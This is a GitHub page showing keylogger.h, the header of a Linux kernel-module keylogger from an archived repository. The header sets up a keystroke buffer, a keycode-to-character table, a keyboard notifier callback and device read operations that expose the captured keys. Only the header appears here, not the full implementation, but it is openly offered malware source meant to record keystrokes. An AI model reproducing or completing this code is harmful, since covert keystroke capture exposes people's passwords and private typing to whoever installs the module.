This repository has been archived by the owner on Jan 29, 2021. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathkeylogger.h
59 lines (50 loc) · 1.67 KB
/
keylogger.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#ifndef KEYLOGGER_H
#define KEYLOGGER_H
#include <linux/fs.h>
#include <linux/types.h>
#include <linux/module.h>
#include <linux/keyboard.h>
#include <linux/input.h>
#define BUFFER_SIZE 1024
#define FIRST_CD KEY_1
#define LAST_CD KEY_SLASH
char buffer[BUFFER_SIZE + 1];
char* buffer_pointer = buffer;
const char* end_pointer = (buffer + sizeof(buffer) - 1);
const char character_table[] = {
'1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '-', '=', '\r', '\t',
'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', '[', ']', '\n', 'X',
'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', ';', '\'', 'X', 'X', '\\',
'z', 'x', 'c', 'v', 'b', 'n', 'm', ',', '.', '/'
};
/* ==============================
Return ASCII code
============================== */
inline char get_ascii(int code) {
if((code < FIRST_CD || code > LAST_CD) && code != KEY_SPACE) {
return 'X';
} else if (code == KEY_SPACE) {
return ' ';
}
return character_table[(code-FIRST_CD)];
}
/* ==============================
Function prototypes
============================== */
static int keylogger_init(void);
static void keylogger_exit(void);
static int keylogger_open(struct inode *inode, struct file *filep);
static ssize_t keylogger_read(struct file *filep, char __user *buff, size_t len, loff_t *offset);
static int keylogger_notifier(struct notifier_block* nblock, unsigned long code, void* _param);
/* ==============================
Callbacks
============================== */
struct file_operations fops = {
.owner = THIS_MODULE,
.read = keylogger_read,
.open = keylogger_open
};
struct notifier_block nb = {
.notifier_call = keylogger_notifier
};
#endif